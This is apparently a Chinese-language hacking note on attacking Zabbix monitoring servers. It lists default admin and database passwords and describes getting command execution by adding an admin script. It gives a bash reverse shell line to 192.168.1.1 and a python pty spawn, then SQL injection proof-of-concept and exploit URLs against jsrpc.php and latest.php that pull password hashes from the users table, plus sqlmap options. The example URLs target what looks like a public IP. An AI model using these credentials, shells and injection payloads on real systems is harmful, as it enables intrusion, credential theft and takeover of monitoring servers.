Zabbix服务脆弱性.md

时间:2022-07-28
本文章向大家介绍Zabbix服务脆弱性.md,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

[TOC]

1.Zabbix缺省配置

zabbix缺省账号密码一览:

admin zabbix  #老版本 
Admin zabbix  #新版本

#zabbix数据库
root zabbix
zabbix zabbix

2.Zabbix命令执行

注意新老版本触发差不多的,此项利用需要登陆后之中在管理菜单栏,然后选择脚本选项卡,添加脚本即可;

WeiyiGeek.创建脚本

设置触发动作来执行我们的脚本:

WeiyiGeek.触发动作

触发后再首页执行:

WeiyiGeek.触发执行

#触发执行后再tmp可以看见建立的txt文件
[[email protected] tmp]$ cat test.txt
root

#最好就是反弹到vps上来获得交互式shell,比较方便
/bin/bash -i &>/dev/tcp 192.168.1.1 5252 0>&1
#常常采用python的反弹脚本进行反弹:
python -c 'import pty; pty.spawn("/bin/sh")'  #设置返回shell的显示格式否则显示bash-4.1$

WeiyiGeek.pythonReverse

注意点:

  • 当前zabbix执行的权限问题
  • 当前服务器防火墙等等问题(有时监控80端口即可,大部分是放行状态)

3.ZabbixSQL注入

1.jsrpc.php rofileIdx2 存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

POC:
http://158.199.140.129/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1

关键字:You have an error in your SQL syntax

EXP:
http://158.199.140.129/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1 or (select 1 from (select count(*),concat((select (select concat(passwd)) from zabbix.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or 1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

2.latest.php toggle_ids

http://158.199.140.129/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

SQLMAP:
--dbms=mysql --sql-query "select * from users"